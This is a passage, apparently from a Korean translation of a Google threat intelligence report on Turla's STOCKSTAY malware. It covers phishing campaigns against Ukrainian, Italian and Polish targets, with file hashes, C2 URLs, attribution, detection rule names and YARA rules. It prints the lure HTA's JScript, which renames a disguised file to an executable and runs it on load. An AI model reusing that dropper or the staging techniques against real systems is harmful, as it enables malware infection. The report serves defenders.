81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac

StockMarketView.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec

StockMarketNet.exe

STOCKSTAY.STOCKBROKER 터널러

34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b

StockMarketSystem.exe

STOCKSTAY.STOCKTRADER 백도어

0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b

default.conf

STOCKSTAY 환경 설정 파일

2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7

표 8: 파일 지표

2024년 1월: 우크라이나

GTIG는 2023년 말 우크라이나 조직의 침해와 관련하여 맨디언트(Mandiant)가 수행한 침해 사고 대응을 검토했으며, 이 과정에서 Turla가 침해된 도메인 컨트롤러로부터 악성 GPO 설치를 통해 WILDDAY, DIAMONDBACK 및 KAZUAR을 포함한 광범위한 도구를 피해자의 네트워크에 배포하는 것을 관찰했습니다. 이 활동에는 감염된 조직 내의 여러 머신에 악성코드를 배포하기 위한 다른 단순한 스크립트 및 백도어들이 동반되었습니다.

검토 과정에서 GTIG는 감염된 도메인 컨트롤러의 영향을 받은 호스트 중 하나에서 STOCKSTAY 실행 흔적을 식별했습니다. STOCKSTAY의 핵심 구성 요소 중 하나 또는 해당 환경 설정을 포함하는 여러 개의 ZIP 아카이브가 도메인 컨트롤러에 업로드되었습니다. 이 파일들은 STOCKSTAY가 호스트에 나타나기 전후로 WILDDAY를 설치하는 데 사용되는 레지스트리 파일을 스테이징하기 위한 디렉터리뿐만 아니라, 도메인 컨트롤러에서 실행되는 것이 관찰된 미상의 PowerShell 백도어(iclsClient.ps1)의 출력을 스테이징하기 위한 디렉터리 내에서 발견되었습니다.

이 작전 과정에서 STOCKSTAY 핵심 구성 요소 실행 파일과 함께 초기 STOCKSTAY 환경 설정 파일이 도메인 컨트롤러에 배포되었으나, 이 파일은 알려진 패스워드나 환경 식별자를 사용하여 복호화할 수 없었습니다. 얼마 후, 맨디언트는 침해된 네트워크와 관련된 도메인 이름을 사용하여 암호화된 두 번째 환경 설정 파일이 도메인 컨트롤러에 배포되는 것을 관찰했습니다. GTIG는 중간 신뢰도로 초기 환경 설정 파일의 배포가 위협 행위자의 실수(아마도 다른 피해자와 관련된 환경 설정 파일을 배포함)이거나, 피해자의 환경에서 악성코드가 조기에 탐지될 경우 민감한 C2 상세 정보가 캡처되는 것을 방지하기 위해 초기 배포 시 기본 또는 무효한 환경 설정 파일이 STOCKSTAY와 번들로 묶인 결과라고 분석합니다.

성공적으로 복호화된 환경 설정은 wss://wool-basalt-clock.glitch.me/ws라는 STOCKSTAY WebSocket C2 URL을 정의했습니다. 또한, 이 환경 설정은 피해자 시스템에서 월요일부터 금요일까지 09:00에서 18:00 사이의 운영 시간 범위를 지정했습니다. 이러한 시간 기반 제한은 C2 통신을 피해자 네트워크의 정상적인 비즈니스 운영과 융합시키기 위한 의도로 보입니다. 이와 동일한 시간 범위가 GTIG가 분석한 대다수의 STOCKSTAY 환경 설정 파일에서 관찰되었습니다.

특히 이 작전의 끝 무렵에 맨디언트는 KAZUAR의 C2 엔드포인트 중 하나와 관련된 방화벽 탐지 사항을 식별했습니다. GTIG는 낮은 수준에서 중간 수준의 신뢰도로 위협 행위자가 자사 C2를 둘러싼 의심을 인지하고 KAZUAR이 식별되어 복구(remediated)될 경우에 대비한 안전장치(failsafe)로 STOCKSTAY를 배포함으로써, STOCKSTAY가 탐지되지 않은 상태로 유지될 경우 차후에 재감염이 가능하도록 했을 수 있다고 분석합니다.

침해 지표

설명

wss://wool-basalt-clock.glitch.me/ws

STOCKSTAY WebSocket C2

표 9: 네트워크 지표

2024년 2월: 이탈리아

이탈리아에서 2024-02-20 11:45:26에 “Copia.msi”라는 파일 이름으로 STOCKSTAY를 설치하도록 구성된 MSI 파일이 VirusTotal에 업로드되었습니다. 이 MSI는 ICSharpCodeTeam이 개발한 ILSpy 애플리케이션으로 위장하였으며, 다수의 정상적이고 무해한 구성 요소를 포함하고 있었습니다 [1]. 이 MSI는 %LOCALAPPDATA%/Programs/SMN/ 경로 하단에 STOCKSTAY 핵심 구성 요소를 설치하고, 레지스트리 실행 키를 통해 지속적인 실행을 활성화했습니다.

MSI에 포함된 STOCKSTAY 샘플은 2024년 1월 29일에서 1월 31일 사이에 컴파일되었으며, 환경 설정 파일은 VirusTotal에 제출되기 불과 일주일 전인 2024년 2월 13일에 마지막으로 수정되었습니다.

STOCKSTAY 설치 외에도, 이 MSI 파일은 “OpenUrl”이라는 이름의 커스텀 MSI 액션을 포함하고 있었습니다. 이 액션은 InstallUISequence 테이블에서 시퀀스 번호 1을 가지고 있어, 다른 어떤 액션보다 먼저 실행되어야 함을 나타냅니다 [1]. 이 커스텀 액션은 다음 명령어를 실행하도록 구성되었습니다.

viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php

해당 URL을 조회했을 때, 선거(“elezioni”) 및 공식 웹사이트(https://www.circoloesteri.it/)에 따르면 “외무부를 대변”하기 위해 설립된 이탈리아 단체인 “Circolo Degli Esteri”에 대한 참조가 포함되어 있었습니다.. 우리는 현재 이 행위자가 이탈리아 선거를 직접 표적으로 삼았다고 분석하지 않으며, 대신 피해자들을 표적으로 삼기 위해 선거 관련 피싱 유인책을 사용한 것으로 분석합니다 [1]. 제한된 가시성으로 인해 우리는 이 특정 작전의 초기 단계를 식별하지 못했으며, 잠재적인 관련 피싱 캠페인의 의도된 대상의 신원도 확인할 수 없습니다.

Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%
https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig7.max-1600x1600.png

그림 7: 이탈리아의 Circolo Degli Esteri와 연관된 것으로 주장하는 이탈리아어 위장 콘텐츠

결정적이지는 않으나, 이는 이탈리아어를 구사하는 개인 또는 조직을 대상으로, 구체적으로 외교 분야에 중점을 두고 STOCKSTAY를 배포하려는 의도를 나타내는 것으로 보입니다.

이전의 STOCKSTAY 사례들과 마찬가지로, 이 샘플 역시 환경 설정 파일을 위해 환경 키잉을 활용했습니다 [1]. GTIG는 wss://wool-basalt-clock.glitch.me/ws라는 WebSocket C2 주소를 식별하기 위해 환경 설정 파일을 복호화하는 데 사용된 도메인 이름을 복구할 수 있었습니다. 이는 2024년 1월에 사용된 C2 주소와 일치합니다.

파일명

설명

SHA-256

Copia.msi

STOCKSTAY 구성 요소를 포함하는 MSI

b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff

StockMarketView.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb

StockMarketNet.exe

STOCKSTAY.STOCKBROKER 터널러

249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb

StockMarketSystem.exe

STOCKSTAY.STOCKTRADER 백도어

b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a

default.conf

STOCKSTAY 환경 설정 파일

40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50

표 10: 파일 지표

침해 지표

설명

https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php

이탈리아 외무부와 관련된 문제에 대한 투표와 관련한 이탈리아어 유인책

wss://wool-basalt-clock.glitch.me/ws

STOCKSTAY WebSocket C2

표 11: 네트워크 지표

2025년 3월 18일 ~ 4월 3일: 우크라이나 

2025년 4월 2일, GTIG는 새로운 원격 학습 환경의 테스트와 관련된 내용으로 우크라이나 대학에서 발송된 것처럼 가장한 메시지가 담긴 피싱 이메일을 발송하는 해킹된 이메일 계정을 식별했습니다. 위협 행위자는 이메일에 악성 RDP(Remote Desktop Protocol) 파일을 첨부했으며, 이를 열었을 때 피해자와 동일한 학술 기관을 모방하여 행위자가 등록한 도메인에서 호스팅되는 개방된 RDP 포트(3389) 간의 연결이 수립되었습니다.

피해자가 공격자의 인프라에 연결되자, GTIG는 행위자가 STOCKSTAY.MARKETMAKER를 클라이언트에 배포하는 것을 관찰했습니다. STOCKSTAY.MARKETMAKER는 우크라이나 국가규제국(State Regulatory Service of Ukraine) 소유의 정상적이지만 해킹된 웹사이트에서 STOCKSTAY를 포함하는 ZIP 파일을 다운로드하도록 구성되어 있었습니다. 이전 관찰 사례들의 대다수와는 대조적으로, 이 작전 중에 관찰된 환경 설정 파일은 하드코딩된 패스워드로 보호되어 있었습니다. 이는 위협 행위자가 특정 도메인이나 호스트 이름을 알지 못해 환경 키잉을 사용할 수 없는, 스피어 피싱을 통한 피해자 환경으로의 최초 침투에 초점을 맞춘 본 특정 작전의 특징에 부합하는 것으로 보입니다. GTIG는 wss://weatherdataai.theworkpc.com/ws라는 WebSocket C2 URL을 사용하는 악성코드를 식별할 수 있었습니다.

STOCKSTAY.MARKETMAKER에 의해 다운로드된 ZIP 아카이브와 연관된 메타데이터에 따르면, 이 작전 중에 사용된 핵심 STOCKSTAY 구성 요소는 3월 18일에서 26일 사이에 마지막으로 수정되었으며, 환경 설정 파일은 3월 31일에 마지막으로 수정되었습니다.

파일명

설명

SHA-256

MicrosoftUpdateOneDrive.exe

STOCKSTAY.MARKETMAKER 다운로더

da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40

docs.zip

STOCKSTAY 구성 요소를 포함하는 ZIP 아카이브

9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73

SMEditor.exe

STOCKSTAY.STOCKTRADER 백도어

e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722

SMNet.exe

STOCKSTAY.STOCKBROKER 터널러

dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22

StockMarketView.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0

fonts

STOCKSTAY 환경 설정 파일

40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3

표 12: 파일 지표

침해 지표

설명

https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip

STOCKSTAY 구성 요소를 포함하는 ZIP 아카이브를 서빙하는 해킹된 우크라이나 국가규제국 인프라

wss://weatherdataai.theworkpc.com/ws

STOCKSTAY WebSocket C2

표 13: 네트워크 지표

2025년 5월 14일: 폴란드

GTIG는 2025년 5월 14일 폴란드에서 두 개의 STOCKSTAY.STOCKBROKER 샘플이 VirusTotal에 업로드된 것을 식별했습니다

“ClientMNGR2.exe”라는 이름의 첫 번째 샘플은 이전에 관찰된 버전들과 일치하였으나, “GR3.exe”라는 이름의 두 번째 샘플은 대량의 정크 코드와 이전에 알려지지 않은 문자열 난독화 메커니즘을 사용하여 고도로 난독화되어 있었습니다. GTIG는 이 난독화 메커니즘을 K1MORPHER(K1_MORPH_ER)로 추적하며, 이후 모든 핵심 STOCKSTAY 구성 요소 및 KAZUAR의 일부 특정 샘플에 이 메커니즘이 포함된 것을 관찰했습니다. 이는 STOCKSTAY가 Turla가 활용하는 다른 악성코드와 동일한 개발 에코시스템 내에 존재한다는 신뢰도를 높여줍니다.

파일명

설명

SHA-256

ClientMNGR2.exe

K1_MORPH_ER로 난독화된 STOCKSTAY.STOCKBROKER 터널러

d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43

GR3.exe

K1_MORPH_ER로 난독화된 STOCKSTAY.STOCKBROKER 터널러

98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397

표 14: 파일 지표

2025년 5월 28일 ~ 8월 8일: 우크라이나 — 악성 HTA를 통한 배포

2025년 8월 8일, GTIG는 “calculator.rar”라는 RAR 아카이브가 VirusTotal에 제출된 것을 식별했습니다. 이 아카이브는 최소 2025년 7월 22일부터 우크라이나 IT 기업 소유의 해킹된 인프라에 호스팅되어 있었습니다. 이 아카이브에는 “Калькулятор грошового забезпечення військовослужбовців 2025.hta”(번역: "군인 급여 계산기 2025.hta")라는 이름의 악성 HTA 파일이 포함되어 있었습니다 [1]. 이 HTA는 그림 9에 표시된 코드를 사용하여 아카이브에도 포함되어 있던 STOCKSTAY.MARKETMAKER 다운로더의 변종을 실행하도록 설계되었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig8.max-1900x1900.png

그림 8: 군인 급여 계산기 2025.hta에 의해 표시된 유인 HTML 페이지

<script language="JScript">
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
</script>

그림 9: 군인 급여 계산기 2025.hta에 포함된 JavaScript 코드

STOCKSTAY.MARKETMAKER 변종은 우크라이나에 위치한 두 번째 해킹된 서버에서 핵심 STOCKSTAY 구성 요소를 포함하는 ZIP 아카이브인 “EditorToolsPdf.zip”을 가져왔으며, 이번에는 해킹된 워드프레스(WordPress) 인스턴스 내에 아카이브를 호스팅하고 있었습니다.

군사 계산기 유인 아카이브 내의 수정 타임스탬프 분석 결과, 이 작전은 “calculator_2025_files” 폴더 콘텐츠의 대다수가 마지막으로 수정된 2025년 5월 28일까지 거슬러 올라가는 것으로 나타났습니다. STOCKSTAY.MARKETMAKER 실행 파일은 2025년 6월 5일에 마지막으로 수정되었으며, 악성 HTA 파일은 2025년 6월 10일에 수정되었습니다.

STOCKSTAY 아카이브에 대한 이와 유사한 검사 결과, 환경 설정 파일은 2025년 6월 4일에 수정된 반면, 아카이브 자체는 2025년 6월 5일에 해킹된 서버에서 마지막으로 수정된 것으로 나타났습니다. 이러한 일련의 과정은 초기 피싱 유인책에 대한 수정 작업이 이루어지는 동안, 완전한 STOCKSTAY ZIP 아카이브가 해킹된 인프라에 스테이징되었음을 보여줍니다.

GTIG는 신뢰할 수 있는 제3자를 통해, STOCKSTAY 아카이브를 호스팅하는 데 사용된 우크라이나 서버의 최초 침해가 2025년 5월 13일 또는 그 이전에 발생했음을 확인할 수 있었습니다.

파일명

설명

SHA-256

calculator.rar

STOCKSTAY 구성 요소를 포함하는 RAR 아카이브

6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342

Калькулятор грошового забезпечення військовослужбовців 2025.hta

HTA 유인책

(번역된 파일명: "군인 급여 계산기 2025.hta")

0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4

styles.dat.exe

STOCKSTAY.MARKETMAKER 다운로더

626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459

EditorToolsPdf.zip

STOCKSTAY 구성 요소를 포함하는 ZIP 아카이브

447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4

ViewPdf.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893

ClientMNGR.exe

STOCKSTAY.STOCKBROKER 터널러

80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661

ConverterDDSNet.exe

STOCKSTAY.STOCKTRADER 백도어

55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c

fonts

STOCKSTAY 환경 설정 파일

e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff

표 15: 파일 지표

침해 지표

설명

https://basecon.com.ua/calculator.rar

HTA 유인책 및 STOCKSTAY.MARKETMAKER 다운로더를 포함하는 RAR 아카이브

https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip

STOCKSTAY ZIP 아카이브를 호스팅하는 해킹된 워드프레스 인프라

wss://canal1zac1a.onrender.com/ws

STOCKSTAY WebSocket C2

표 16: 네트워크 지표

2025년 7월 23일 ~ 28일: 행위자의 GitHub를 통한 STOCKSTAY MSI 파일 호스팅

GTIG는 위협 행위자가 STOCKSTAY를 테스트하거나 배포하기 위해 사용한 것으로 의심되는 GitHub 계정을 식별했습니다. GitHub 계정인 Roberto1983-ai는 2025년 7월 23일 12:01:03에 생성되었습니다.

2025년 7월 24일, 해당 계정은 msi_installer_test2라는 이름의 공개 저장소를 생성하였고, 여기에 단일 파일인 DiplomacyEduAI.msi를 업로드했습니다. 동일한 사용자에 의해 2025년 7월 28일에 msi_installer_test3이라는 이름의 두 번째 저장소가 생성되었으며, 이후 또 다른 버전의 DiplomacyEduAI.msi 파일이 업로드되었습니다.

두 버전의 DiplomacyEduAI.msi 모두 핵심 STOCKSTAY 구성 요소를 포함하고 있었으며, wss://canal1zac1a.onrender.com/ws라는 WebSocket C2 URL을 포함하는 환경 설정 파일도 동반되었습니다. GTIG는 현재 이 특정 MSI 파일들을 사용하는 가동 중인 작전을 식별하지 못했습니다.

파일명

설명

SHA-256

DiplomacyEduAI.msi

STOCKSTAY 구성 요소를 포함하는 MSI

19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9

DiplomacyEduAI.msi

STOCKSTAY 구성 요소를 포함하는 MSI

6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e

ClientMNGR.exe

STOCKSTAY.STOCKBROKER 터널러

80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661

ViewPdf.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893

ConverterDDSNet.exe

STOCKSTAY.STOCKTRADER 백도어

d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3

fonts

STOCKSTAY 환경 설정 파일

4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320

표 17: 파일 지표

침해 지표

설명

wss://canal1zac1a.onrender.com/ws

STOCKSTAY WebSocket C2

표 18: 네트워크 지표

2025년 8월 14일: 행위자의 GitHub를 통한 STOCKSTAY 서버 코드 호스팅

GTIG는 STOCKSTAY C2 통신을 처리하기 위한 서버 측 코드로 평가되는 파일을 호스팅하고 있는 두 번째 GitHub 계정을 식별했습니다. GitHub 계정인 ChikenFresh는 2025년 8월 14일에 생성되었으며, 거의 즉시 google-ai-labs-it라는 이름의 공개 저장소를 생성하여 의심되는 C2 컨트롤러 코드를 업로드했습니다. C2 컨트롤러에 대한 우리의 분석은 본 보고서 앞부분의 악성코드 분석 섹션에 포함되어 있습니다.

이 GitHub 저장소 이름은 Render 플랫폼에서 실행되는 것으로 식별된 STOCKSTAY C2 서버와 일치하나, GTIG는 이 인프라를 사용하는 가동 중인 작전을 관찰하지 못했습니다. 우리는 위협 행위자가 Render 플랫폼의 WebSocket 호스팅 기능을 활용하기 위해 이 GitHub 저장소를 그들의 Render 계정에 연결했다고 분석합니다.

파일명

설명

SHA-256

server.py

Python STOCKSTAY C2 컨트롤러

f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed

models.py

server.py에서 사용할 데이터베이스 테이블 정의 및 모델

7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78

wtools.py

server.py에서 사용할 유틸리티 함수

b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636

표 19: 파일 지표

침해 지표

설명

wss://google-ai-labs-it.onrender.com/ws

STOCKSTAY WebSocket C2

표 20: 네트워크 지표 

2025년 11월: 우크라이나 — 드론 주제 유인책 및 CVE-2025-8088을 통한 배포

2025년 11월 6일, GTIG는 드론을 주제로 한 UKR.NET 이메일 계정에서 약 20개의 우크라이나 기반 대상을 향해 발송된 피싱 이메일 묶음을 식별했으며, 각 이메일에는 고유한 ukr.net 파일 공유 링크가 포함되어 있었습니다. 각 링크는 핵심 STOCKSTAY 구성 요소를 설치하기 위해 WinRAR의 경로 통과 취약점(CVE-2025-8088)을 악용하는 악성 RAR 아카이브로 연결되었습니다. 이러한 피싱 활동의 지속적인 징후가 2025년 11월 12일과 14일에 관찰되었습니다. 우리는 이 피싱 이메일 수신자 중 약 30%만이 이메일을 열어본 것을 식별했으나, 이들 중 얼마나 많은 개인이 악성 페이로드를 다운로드하거나 실행했는지는 확인할 수 없습니다. 잠재적인 계정 탈취에 대한 예방 조치로 영향을 받는 모든 Google 계정에 추가 인증 확인 마커가 설정되었습니다. Google은 또한 정부 지원 공격 경고(Government Backed Attack Warning, GBAW) 알림을 통해 영향을 받는 사용자들에게 이 사실을 통보했습니다.

GTIG는 악성 RAR 아카이브 내에서 우크라이나 군인을 표적으로 삼은 것으로 보이는 두 가지 고유한 유형의 우크라이나어 위장 문서를 식별했습니다. 첫 번째인 “Донесення БпЛА 06.11.2025.docx”(“UAV report 06.11.2025.docx”, UAV 보고서)는 “2025년 11월 6일 기준 제1여단 방어 구역 내의 UAV 가용성/필요성, 상태, 부대별 각 UAV 승무원의 가용성 및 교육에 관한 보고서”라고 주장했습니다 (그림 10 참조).

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig10.max-1300x1300.png

그림 10: 2025년 11월의 "보고서" 위장 문서

“Товари(докладніше).docx”(“Products (more details).docx”, 제품 상세) 및 “Приклади товарів для листа (деталізовано).docx”(“Examples of products for the letter (detailed).docx”, 서신용 제품 예시 상세)로 관찰된 두 번째 위장 문서는 주로 “전술 의학”, “통신 및 감시 장비”, “장비 및 생존 장비”, “차량 자산”을 언급하는 장비 목록으로 구성되어 있었습니다 (그림 11 참조).

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig11.max-1300x1300.png

그림 11: 2025년 11월의 "장비 목록" 위장 문서

각 위장 문서에는 피해자의 머신에서 위협 행위자가 모니터링할 가능성이 높은 사이트로 연결되도록 유도하는 외부 이미지 참조가 포함되어 있어, 문서가 열렸음을 신호로 보냅니다. GTIG는 위장 문서가 참조하는 URL이 해킹된 인프라에서 호스팅되고 있을 수 있다고 판단합니다.

GTIG는 이 작전 중에 배포되는 것이 관찰된 STOCKSTAY 인스턴스에 탐지 저항력을 높이기 위한 개선 사항이 포함되어 있음을 식별했으며, 구체적으로 기능을 외부 모듈로 분리해 냈습니다. 이 외부 모듈들은 표 21에 표시된 파일 이름을 사용하여 정상적인 Windows 라이브러리를 모방하도록 명명되었습니다.

구성 요소

파일명

STOCKSTAY.STOCKMARKET

MSViewer.exe

공유 STOCKSTAY 핵심 모듈

ms-lib-math-core.dll

STOCKSTAY.STOCKBROKER

MSDriver.exe

STOCKSTAY.STOCKBROKER 핵심 모듈

ms-api-wmcpdt.dll

STOCKSTAY.STOCKTRADER

MSRender.exe

STOCKSTAY.STOCKTRADER 핵심 모듈

ms-api-win-render.dll

표 21: 2025년 11월에 관찰된 STOCKSTAY 구성 요소 파일명

GTIG는 이 피싱 파동 동안 두 개의 고유한 STOCKSTAY WebSocket C2 URL이 사용되는 것을 관찰했습니다. 대다수의 인스턴스는 wss://driverx86-adobe.onrender.com/ws URL을 사용했으나, 우리는 ChikenFresh 사용자와 관련된 앞서 기술한 GitHub 저장소에 해당하는 wss://google-ai-labs-it.onrender.com/ws를 사용하는 STOCKSTAY 인스턴스를 최소 하나 이상 식별할 수 있었습니다.

핵심 STOCKSTAY 구성 요소와 함께, 악성 RAR 아카이브에는 각 핵심 STOCKSTAY 구성 요소에 해당하는 “Updater Shortcut”(업데이터 바로가기)으로 기술된 LNK 바로가기 파일이 포함되어 있었습니다. 추출 파일 경로는 시작 프로그램 디렉터리에 배포를 시도하도록 구성되어 있었습니다.

GTIG는 이 작전을 위한 LNK 파일 생성이 첫 번째 피싱 이메일이 발송되기 약 6시간 전에 시작되었으며, 우크라이나어 유인 문서들은 약 4시간 전에 생성되었음을 식별할 수 있었습니다.

파일명

설명

SHA-256

MSViewer.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce

MSViewer.exe

STOCKSTAY.STOCKMARKET 오케스트레이터

e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8

MSDriver.exe

STOCKSTAY.STOCKBROKER 터널러

c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9

MSRender.exe

STOCKSTAY.STOCKTRADER 백도어

667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38

ms-lib-math-core.dll

역사적으로 핵심 STOCKSTAY 구성 요소 내에서 발견되던, 핵심 암호화 및 난독화 루틴을 포함하는 모듈

b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89

ms-api-win-render.dll

역사적으로 STOCKSTAY.STOCKTRADER 내에서 발견되던, 백도어 명령어 처리기를 포함하는 모듈

1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851

ms-api-wmcpdt.dll

역사적으로 각 STOCKSTAY 구성 요소 내에서 발견되던, STOCKSTAY의 IPC 로직을 포함하는 모듈

e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714

MSViewer.lnk

STOCKSTAY.STOCKMARKET을 실행하도록 의도된 LNK 바로가기

3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14

MSRender.lnk

STOCKSTAY.STOCKTRADER를 실행하도록 의도된 LNK 바로가기

77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167

MSDriver.lnk

STOCKSTAY.STOCKBROKER를 실행하도록 의도된 LNK 바로가기

813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5

fonts

STOCKSTAY 환경 설정 파일

e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3

fonts

STOCKSTAY 환경 설정 파일

f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da

표 22: 파일 지표

침해 지표 

설명

wss://driverx86-adobe.onrender.com/ws

STOCKSTAY WebSocket C2

wss://google-ai-labs-it.onrender.com/ws

STOCKSTAY WebSocket C2

표 23: 네트워크 지표

속성 (Attribution)

GTIG는 다음 사항을 바탕으로, STOCKSTAY 에코시스템 및 관련 활동의 배후를 Turla와 연계된 것으로 높은 신뢰도로 평가되는 위협 클러스터로 규명합니다.

  • STOCKSTAY는 명령어를 처리하는 동안 키릴 자모(Cyrillic script)를 지원하기 위해 특별히 설계된 인코딩인 Windows-1251을 사용합니다. 이는 동유럽, 발칸 반도 또는 중앙아시아와 연계된 개발 또는 운영 환경을 나타냅니다.

  • STOCKSTAY는 최근 유사한 시간대 내에 두 악성코드 패밀리 모두에 K1MORPHER 문자열 난독화가 도입되었다는 점을 바탕으로, Turla의 전용 툴킷으로 널리 알려진 KAZUAR과 코드 중복을 공유합니다.

  • GTIG는 Turla의 피해자 방향 KAZUAR C2 인프라의 일부를 호스팅하는 것으로도 식별된 해킹된 인프라에서 STOCKSTAY가 배포되는 것을 관찰했습니다.

Turla는 우크라이나 국방 및 군사 조직을 표적으로 삼는 데 일관되게 집중하고 있으며, 맨디언트(Mandiant)의 침해 사고 대응 과정에서 WILDDAY, DIAMONDBACK, KAZUAR 등 다양한 Turla 전용 악성코드와 함께 STOCKSTAY를 배포한 사실이 식별되었습니다.

탐지

Google Security Operations (SecOps)

SecOps 고객은 배포 예정인 다음 규칙들을 이용할 수 있습니다. 완전히 배포되면, 이 규칙들은 Mandiant Frontline Threats, Mandiant 헌팅(Mandiant Hunting) 및 Mandiant Intel Emerging Threats 룰 팩에서 제공될 예정입니다:

  • Windows 시작 프로그램으로 아카이브 추출 

  • 레지스트리 실행 키에 레지스트리 쓰기

  • Run 레지스트리 키에 레지스트리 쓰기

  • 피싱을 통한 잠재적인 RDP 파일 쓰기

  • 스테이징 디렉터리에서 시작된 RDP 연결

  • Onrender 서브도메인의 의심스러운 DNS 쿼리 (Onrender Subdomain Suspicious DNS Query)

YARA Rules

rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}
rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
